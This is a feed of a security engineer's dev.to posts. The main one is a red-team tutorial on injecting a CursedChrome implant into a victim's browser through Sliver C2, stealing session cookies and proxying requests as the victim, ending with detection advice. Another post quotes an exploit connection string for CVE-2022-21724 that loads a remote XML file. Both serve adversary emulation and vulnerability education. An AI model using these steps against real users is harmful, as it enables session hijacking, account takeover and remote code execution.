&lt;li&gt;Step 3 varies significantly based on the outputs of steps 1 and 2 and the familiarity of the team with the tools and processes selected. It can be as short as 1 business day to a week or longer.&lt;/li&gt;
&lt;li&gt;Step 4 can often be completed in one business day or shorter.&lt;/li&gt;
&lt;li&gt;Step 5 often takes 1-2 business days. Additional engineers assigned to test execution often results in a longer timeline but comes at the benefit of educating members of the team and growing their respective skill sets. It is most often worth the added time.&lt;/li&gt;
&lt;li&gt;Step 6 can vary depending on the complexity of the findings. It can be as short as a half business day to several days.&lt;/li&gt;
&lt;li&gt;Step 7 is open-ended depending on the backlog and capacity of the security team and the severity of the findings.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Resources
&lt;/h2&gt;

&lt;p&gt;Some resources I've found useful in the performance of these tests are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Sliver C2 (my preferred): &lt;a href="https://github.com/BishopFox/sliver" rel="noopener noreferrer"&gt;https://github.com/BishopFox/sliver&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;Covenant C2: &lt;a href="https://github.com/cobbr/Covenant" rel="noopener noreferrer"&gt;https://github.com/cobbr/Covenant&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Bring your own vulnerable driver (BYOVD): &lt;a href="https://www.loldrivers.io/" rel="noopener noreferrer"&gt;https://www.loldrivers.io/&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;Metasploit: &lt;a href="https://github.com/rapid7/metasploit-framework" rel="noopener noreferrer"&gt;https://github.com/rapid7/metasploit-framework&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Revshells: &lt;a href="https://www.revshells.com/" rel="noopener noreferrer"&gt;https://www.revshells.com/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Payload all the things: &lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings" rel="noopener noreferrer"&gt;https://github.com/swisskyrepo/PayloadsAllTheThings&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;Atomic red team: &lt;a href="https://github.com/redcanaryco/atomic-red-team" rel="noopener noreferrer"&gt;https://github.com/redcanaryco/atomic-red-team&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And so so many others.&lt;/p&gt;

&lt;h2&gt;
  
  
  Thanks
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Huge thanks to CryptoJones for editing and review of the post: &lt;a href="https://infosec.exchange/@CryptoJones" rel="noopener noreferrer"&gt;https://infosec.exchange/@CryptoJones&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Markdown table generator: &lt;a href="https://www.tablesgenerator.com/markdown_tables#" rel="noopener noreferrer"&gt;https://www.tablesgenerator.com/markdown_tables#&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Cover Photo: Photo by &lt;a href="https://unsplash.com/@alain_pham" rel="noopener noreferrer"&gt;https://unsplash.com/@alain_pham&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>blueteam</category>
    </item>
    <item>
      <title>Sliver and Cursed Chrome for Post Exploitation</title>
      <dc:creator>Jeremy Mill</dc:creator>
      <pubDate>Sat, 07 Oct 2023 15:38:50 +0000</pubDate>
      <link>https://dev.to/living_syn/sliver-and-cursed-chrome-for-post-exploitation-4gnk</link>
      <guid>https://dev.to/living_syn/sliver-and-cursed-chrome-for-post-exploitation-4gnk</guid>
      <description>&lt;p&gt;This blog guides you through using Cursed Chrome within Sliver to more effectively perform adversary emulation tests. We will be covering how to inject a CursedChrome payload into a victim's browser using sliver, allowing an adversary to proxy requests through CursedChrome through the victim's browser in the victim's authenticated context &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fysc6qgfqc7aq2kv2gcc1.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fysc6qgfqc7aq2kv2gcc1.jpg" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I'm going to skip over a lot of detail here on what sliver can do and how to do all the setup of sliver because that isn't the goal of this post.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's a Sliver?
&lt;/h2&gt;

&lt;p&gt;Sliver is an exciting (and free) Adversary Emulation Command and Control (C2) framework released by the folks at BishopFox. In their words it's a:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;...system made for penetration testers, red teams, and blue teams. It generates implants that can run on virtually every architecture out there, and securely manage these connections through a central server. Sliver supports multiple callback protocols including DNS, Mutual TLS (mTLS), WireGuard, and HTTP(S) to make egress simple, even when those pesky blue teams block your domains. You can even have multiple operators (players) simultaneously commanding your sliver army.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I use it at my organization to emulate how the bad guys do what they do and find out how good our tools and processes are at detecting them. &lt;/p&gt;

&lt;h2&gt;
  
  
  Setup
&lt;/h2&gt;

&lt;p&gt;Since this blog isn't aimed at introducing you to Sliver, I'm going to brush over a lot of details. To start out you should have:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A server running sliver (&lt;a href="https://github.com/BishopFox/sliver#linux-one-liner" rel="noopener noreferrer"&gt;link&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;An operator machine setup to talk to the c2 server (&lt;a href="https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode" rel="noopener noreferrer"&gt;link&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;A windows machine with Chrome installed, with a sliver implant running on it (&lt;a href="https://github.com/BishopFox/sliver/wiki/Getting-Started" rel="noopener noreferrer"&gt;link&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;A chrome extension with appropriate all-page permissions installed

&lt;ul&gt;
&lt;li&gt;uBlock Origin is a good candidate&lt;/li&gt;
&lt;li&gt;We'll go over the 'why' of this in a later section&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;I know this is a lot but we're talking about post-exploitation today and not exploitation. &lt;/p&gt;

&lt;h2&gt;
  
  
  Setup CursedChrome
&lt;/h2&gt;

&lt;p&gt;Most of the setup instructions are borrowed directly from the CursedChrome repository &lt;a href="https://github.com/mandatoryprogrammer/CursedChrome" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You can setup CuredChrome one of two places. 1) on the same server running the sliver C2, or 2) on a separate server. I decided to run it on the same server running C2.&lt;/p&gt;

&lt;p&gt;The first step to installing CursedChrome is to make sure you have a working &lt;code&gt;docker&lt;/code&gt; installed with &lt;code&gt;docker-compose&lt;/code&gt;. In my testing podman worked just fine.&lt;/p&gt;

&lt;p&gt;Next clone CursedChrome into a folder on your server. &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

git clone git@github.com:mandatoryprogrammer/CursedChrome.git \
  &amp;amp;&amp;amp; cd CursedChrome


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Since we're going to run this server on the open (dirty) internet, we're going to make a small change to the &lt;code&gt;docker-compose.yaml&lt;/code&gt; file before we build and turn anything on. We're going to want to modify the block:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;

    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1:8080:8080"&lt;/span&gt; &lt;span class="c1"&gt;# Proxy server&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1:4343:4343"&lt;/span&gt; &lt;span class="c1"&gt;# WebSocket server (talks with implants)&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1:8118:8118"&lt;/span&gt; &lt;span class="c1"&gt;# Web panel&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;To look like:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;

    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8080:8080"&lt;/span&gt; &lt;span class="c1"&gt;# Proxy server&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;4343:4343"&lt;/span&gt; &lt;span class="c1"&gt;# WebSocket server (talks with implants)&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8118:8118"&lt;/span&gt; &lt;span class="c1"&gt;# Web panel&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Now we can stand up the server making sure we grab the &lt;code&gt;admin&lt;/code&gt; credentials that are written out to the console as we start it.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

docker-compose up &lt;span class="nt"&gt;-d&lt;/span&gt; redis db
docker-compose up cursedchrome


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Now log in to your CursedChrome server on &lt;code&gt;http://&amp;lt;serverip&amp;gt;:8118&lt;/code&gt; using the credentials spit out to the console when you started &lt;code&gt;cursedchrome&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: plaintext http is bad, okay? Put this behind a reverse proxy with TLS if you're doing it for realsies in an uncontrolled environment&lt;/p&gt;

&lt;h2&gt;
  
  
  Setup the CursedChrome Implant
&lt;/h2&gt;

&lt;p&gt;Now we need to setup the javascript that Sliver is going to inject into the victim's browser extension. This implant is what will proxy the requests from the operator and the CursedChrome server through the browser and out to the network. &lt;/p&gt;

&lt;p&gt;The source is here: &lt;a href="https://github.com/mandatoryprogrammer/CursedChrome/blob/master/extension/src/bg/background.js" rel="noopener noreferrer"&gt;link&lt;/a&gt;. We want to make sure we modify this line to point at our CursedChrome server and not at localhost:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;

&lt;span class="nx"&gt;websocket&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;WebSocket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;ws://127.0.0.1:4343&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;(source: &lt;a href="https://github.com/mandatoryprogrammer/CursedChrome/blob/master/extension/src/bg/background.js#L301" rel="noopener noreferrer"&gt;https://github.com/mandatoryprogrammer/CursedChrome/blob/master/extension/src/bg/background.js#L301&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;With that line modified we should take &lt;code&gt;background.js&lt;/code&gt; and minify it, creating &lt;code&gt;min.js&lt;/code&gt; in a location accessible by our operator running a sliver client. A pre-minified &lt;code&gt;background.js&lt;/code&gt; can be found here (but you'll still need to change the IP): &lt;a href="https://gist.github.com/LivingInSyn/9150c00bf07912c1b165494d5ec36370" rel="noopener noreferrer"&gt;link&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Inject min.js
&lt;/h2&gt;

&lt;p&gt;For this step you should be in sliver with our exploited machine (the victim) ready to receive commands.&lt;/p&gt;

&lt;p&gt;We're ready to inject our payload by running:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

cursed chrome -p min.js


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Important&lt;/strong&gt;: Sliver is about to warn you about this but you should be aware that this is going to restart the users active chrome window. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl2og7315x1bfxgxjpszp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl2og7315x1bfxgxjpszp.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Assuming this succeeded, we're ready to move on to the next step, proxying requests through our implant.&lt;/p&gt;

&lt;h3&gt;
  
  
  This failed :(
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwcvgog4vx2uf9bwwwcd8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwcvgog4vx2uf9bwwwcd8.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you're using this on a pentest, you may have hit a snag. The victim may not have an extension installed that Sliver can use to inject the payload into. This is either because they have no extensions installed or because they don't have an extension installed which can make requests on all pages. Fear not, because you can use the other CursedChrome commands detailed here: &lt;a href="https://github.com/BishopFox/sliver/wiki/Cursed" rel="noopener noreferrer"&gt;link&lt;/a&gt; to still do fun stuff, just a little bit less stealthily.&lt;/p&gt;

&lt;p&gt;For example, you can still run &lt;code&gt;cursed cookies&lt;/code&gt; or &lt;code&gt;cursed console&lt;/code&gt; to grab the session cookies for a user and then inject them in &lt;code&gt;burp&lt;/code&gt; to steal the users session and port forward via sliver to avoid looking like you're coming from a remote location and triggering those pesky IP location or impossible travel alerts.&lt;/p&gt;

&lt;h2&gt;
  
  
  Using our Implant
&lt;/h2&gt;

&lt;p&gt;We should now see a new implant running in our CursedChrome console:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu6nntxsgpt52hi82x5ye.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu6nntxsgpt52hi82x5ye.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now it's time to use it and &lt;a href="https://getfoxyproxy.org/" rel="noopener noreferrer"&gt;FoxyProxy&lt;/a&gt; is probably the easiest way to do that. Grab the username and password from the CusrsedChrome console and head into FoxyProxy to setup a new proxy server that looks like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4hgrfprq3v19kfpidldm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4hgrfprq3v19kfpidldm.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note that we've change port 8118 for port 8080 because the proxy server runs on port 8080. Save the configuration.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh6yv7kwnv0xm2lsmqevp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh6yv7kwnv0xm2lsmqevp.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now open up a new tab and activate our configured proxy server:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0el2gbw58hz9xmok3dv3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0el2gbw58hz9xmok3dv3.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now start making some requests! We are making requests through the implant in the security context of the user. For example, I used my &lt;code&gt;dev.to&lt;/code&gt; account as a sample target:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcscx43n0gtq41uwfcjg3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcscx43n0gtq41uwfcjg3.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I could now create new posts like 'Jeremy doesn't like cats' or other such embarrassing and entirely untrue statements.&lt;/p&gt;

&lt;h2&gt;
  
  
  Detection and Prevention
&lt;/h2&gt;

&lt;p&gt;I'd be a really bad blue-teamer if I didn't cover this section. There are a few options for detecting and monitoring for this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You can use chrome policies to limit what URLs certain extensions can use: &lt;a href="https://thehackerblog.com/galvanizer/" rel="noopener noreferrer"&gt;https://thehackerblog.com/galvanizer/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;For the first point to be effective, you'll need to control extension installs at your org

&lt;ul&gt;
&lt;li&gt;in chrome, and edge, and other chromium based browsers&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;You should be able to detect a new listening debug port in Chrome. Most users won't ever do this so it should be a high fidelity alert

&lt;ul&gt;
&lt;li&gt;look for &lt;code&gt;--remote-debugging-port=&lt;/code&gt; arguments in Chrome&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;You should be able to detect sliver and its c2 comms&lt;/li&gt;

&lt;li&gt;You should alert on suspicious behaviors on the systems targeted by the attackers&lt;/li&gt;

&lt;/ul&gt;

</description>
      <category>security</category>
      <category>redteam</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Everything People Don't Get About CVEs</title>
      <dc:creator>Jeremy Mill</dc:creator>
      <pubDate>Fri, 01 Sep 2023 16:41:22 +0000</pubDate>
      <link>https://dev.to/living_syn/everything-people-dont-get-about-cves-4dm5</link>
      <guid>https://dev.to/living_syn/everything-people-dont-get-about-cves-4dm5</guid>
      <description>&lt;h2&gt;
  
  
  Intro
&lt;/h2&gt;

&lt;p&gt;This post is  inspired by Daniel Stenberg's post on his blog regarding CVEs in &lt;code&gt;curl&lt;/code&gt; titled &lt;a href="https://daniel.haxx.se/blog/2023/08/26/cve-2020-19909-is-everything-that-is-wrong-with-cves/"&gt;CVE-2020-19909 Is Everything That is Wrong With CVEs&lt;/a&gt; but the sentiments expressed in that post are hardly new and or unique to Daniel and the &lt;code&gt;curl&lt;/code&gt; project. And before I say anything else I want something to be clear, Daniel has an &lt;em&gt;absolute&lt;/em&gt; right to be frustrated and has perfectly valid complaints about the system. That being said, I do think there is a misunderstanding of the system by Daniel and other developers of how CVEs are rated and used by those of us in the security side of the house.&lt;/p&gt;

&lt;p&gt;The opinions on the CVE system below are entirely my own and are shaped by a career as a developer, sysadmin, appsec engineer, and now a manager of a security team in a regulated environment. They are also shaped by my experience as a person filing CVEs to other CVE Numbering Authorities (CNAs) as a researcher and as a person who used to run a CNA issuing CVEs from external researchers and internal sources.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Most Common Misunderstanding - It's too d*** high!
&lt;/h2&gt;

&lt;p&gt;The most common misunderstanding that I see over and over again is the belief that a severity rating is too high because most people won't be in an exploitable deployment or have a particular configuration. After all, how can this be an emergency &lt;code&gt;9.8 - Critical&lt;/code&gt; vulnerability when &lt;em&gt;no one&lt;/em&gt; would deploy it that way! &lt;/p&gt;

&lt;p&gt;However the CNA most often doesn't have any real data about how software is most commonly deployed and can't make that assessment even if they wanted to. Even when the CNA &lt;em&gt;does&lt;/em&gt; have that information (such as when I ran the CNA for Puppet) you can't make the assumption that no one has deployed it in that configuration. That leaves the CNA only one safe option; &lt;strong&gt;The CNA &lt;em&gt;must&lt;/em&gt; assume the worst case scenario&lt;/strong&gt;. The severity of the issue must be set as if the consumer/user of the software has deployed the software in the vulnerable and exploitable condition.&lt;/p&gt;

&lt;h2&gt;
  
  
  How it's supposed to work
&lt;/h2&gt;

&lt;p&gt;Now, this sucks for everyone. The software developers don't want the noise, The CNA usually doesn't want to create waves for no reason, users/consumers of software hate deploying emergency patches etc. &lt;/p&gt;

&lt;p&gt;How it's &lt;em&gt;supposed&lt;/em&gt; to work is that the consumer/user of a piece of software gets notification of a vulnerability with a base score. The user/consumer should then go and use the worlds least used part of the CVSS v3.1: the &lt;code&gt;Temporal Score Metrics&lt;/code&gt; and the &lt;code&gt;Environmental Score Metrics&lt;/code&gt;. These scores modify the base score to reflect the severity of the vulnerability to the specific user/consumer and not the worst case scenario.&lt;/p&gt;

&lt;p&gt;That being said, I don't know of any org that has the capacity to do this with every single vulnerability. I do however, think that most orgs with a sufficiently sized security team (which certainly isn't all of them) can do it for the 'criticals' that get the headlines and might mean an emergency patch.&lt;/p&gt;

&lt;h2&gt;
  
  
  An Example
&lt;/h2&gt;

&lt;p&gt;Let's take &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2022-21724"&gt;CVE-2022-21724&lt;/a&gt; which has a base score of &lt;code&gt;9.8 - Critical&lt;/code&gt; from NVD. This vulnerability has the following description on GitHub &lt;a href="https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4"&gt;link&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;pgjdbc instantiates plugin instances based on class names provided via &lt;code&gt;authenticationPluginClassName&lt;/code&gt;, &lt;code&gt;sslhostnameverifier&lt;/code&gt;, &lt;code&gt;socketFactory&lt;/code&gt;, &lt;code&gt;sslfactory&lt;/code&gt;, &lt;code&gt;sslpasswordcallback&lt;/code&gt; connection properties.&lt;/p&gt;

&lt;p&gt;However, the driver did not verify if the class implements the expected interface before instantiating the class.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Long story short the following connection string could lead to remote code execution if you also had Spring in your project:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&amp;amp;socketFactoryArg=http://target/exp.xml");
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's reasonable for you to have the initial response "who on this green earth would allow an attacker to control my database connection string! There's no way that's exploitable in a real way!". But I'd ask you to take a second and really think about it... What about your Grafana server connected to your PostgreSQL server? What about your SaaS company that allows someone to bring their own DB? Is it common? Absolutely not, but that's the exact point.&lt;/p&gt;

&lt;p&gt;If you ARE one of the people with a vulnerable deployment scenario, even though you're a minority, this most certainly is a &lt;code&gt;9.8&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;If you're not, and you set your environmental score metrics to &lt;a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/CR:H/IR:H/AR:H/MAV:L/MAC:H/MPR:H/MUI:N/MS:U/MC:H/MI:H/MA:H&amp;amp;version=3.1"&gt;AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/CR:H/IR:H/AR:H/MAV:L/MAC:H/MPR:H/MUI:N/MS:U/MC:H/MI:H/MA:H&lt;/a&gt; your severity drops to &lt;code&gt;6.4 - Medium&lt;/code&gt;. OR, even better, you look at this and say "we're not exploitable due to compensating controls like PR reviews and branch protection rules" and you set this to 'not exploitable' and move on with your life, catching the update when it comes as part of other regular maintenance.  &lt;/p&gt;

&lt;h2&gt;
  
  
  You cherrypicked an example!
&lt;/h2&gt;

&lt;p&gt;Of course I did :) Like I said up front, I think Daniel has a right to be upset. The example I picked was designed to show my point that not all CVE ratings are too high but defined on their worst case scenario. That being said there are definitely CVEs issued that have &lt;em&gt;no&lt;/em&gt; exploitable path or deployment. These are quite frankly, silly, and waste everyone's time. NVD specifically needs to do a better job of filtering these issues out and working with developers to remove/retract them or lower their severities. &lt;/p&gt;

&lt;h2&gt;
  
  
  What about too low...
&lt;/h2&gt;

&lt;p&gt;Vulnerabilities rated too high aren't the whole story. The other side of the coin is that something gets a low severity rating by NVD or another issuing authority and you as the user/consumer have it deployed in such a way that it allows an attacker to steal the keys to your kingdom. This is an equally terribly situation and still requires users and consumers to do their due diligence to reassign a rating for themselves and not just trust NVD.&lt;/p&gt;

&lt;h2&gt;
  
  
  What should curl do
&lt;/h2&gt;

&lt;p&gt;I think at this point it's clear that the &lt;code&gt;curl&lt;/code&gt; project's only way to control the recurring problem and reduce it is to become a CNA. &lt;code&gt;curl&lt;/code&gt; becoming its own CNA will allow it to have much tighter control over the issuance of CVEs against the project and be able to self-issue severity ratings which when issued by the CNA are usually just copied over by NVD. I've reached out to Daniel to help them if they decide to go down this route and would love to help.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;What I think you should take away from this post is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CVSS base ratings are based on the worst case scenario which may not be most people's scenarios&lt;/li&gt;
&lt;li&gt;Users and Organizations need to take more responsibility for modifying the base score for themselves and their environments&lt;/li&gt;
&lt;li&gt;NVD needs to be a better partner and work more closely and realistically with developers&lt;/li&gt;
&lt;li&gt;Big projects probably need to accept the overhead of being a CNA or accept that someone else will be their CNA like it or not&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vulnerability severity assessment is hard and inherently grey. Most vulnerabilities aren't log4j or MoveIT, but they also aren't &lt;code&gt;cve-2020-19909&lt;/code&gt;. They're somewhere in the middle and security practitioners need to work in that grey space making best assessments and choosing where to spend their time and effort. Until the complexity is reduced in computing systems, the complexity of vulnerability management will remain.&lt;/p&gt;

&lt;h4&gt;
  
  
  Thank you/Credit
&lt;/h4&gt;

&lt;p&gt;Thanks to &lt;a href="https://unsplash.com/photos/hdXgZgWrbpM?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditShareLink"&gt;karol rosales&lt;/a&gt; for the cover photo from unsplash&lt;/p&gt;

</description>
      <category>security</category>
      <category>cve</category>
    </item>
    <item>
      <title>Evaluating Security Tools</title>
      <dc:creator>Jeremy Mill</dc:creator>
      <pubDate>Sun, 17 Jul 2022 01:13:16 +0000</pubDate>
      <link>https://dev.to/living_syn/evaluating-security-tools-3o1m</link>
      <guid>https://dev.to/living_syn/evaluating-security-tools-3o1m</guid>
      <description>&lt;h1&gt;
  
  
  Evaluating Security Solutions
&lt;/h1&gt;

&lt;p&gt;From time to time in my career in security I've been asked to select a new security tool/vendor to generate security events and alert on suspicious or malicious behaviors. Sometimes these are network based solutions, other times they're host based, and still other times they're something in between, operating on kubernetes or the cloud infrastructure.  &lt;/p&gt;

&lt;p&gt;Regardless of the method in which the tool is designed to work, it should create alerts that can be mapped to techniques and tactics in the &lt;a href="https://attack.mitre.org/"&gt;MITRE ATT&amp;amp;CK&lt;/a&gt; framework. If you're not familiar with the ATT&amp;amp;CK framework, you should pause here and read the excellent ATT&amp;amp;CK 101 blog post &lt;a href="https://medium.com/mitre-attack/att-ck-101-17074d3bc62"&gt;here&lt;/a&gt;&lt;/p&gt;

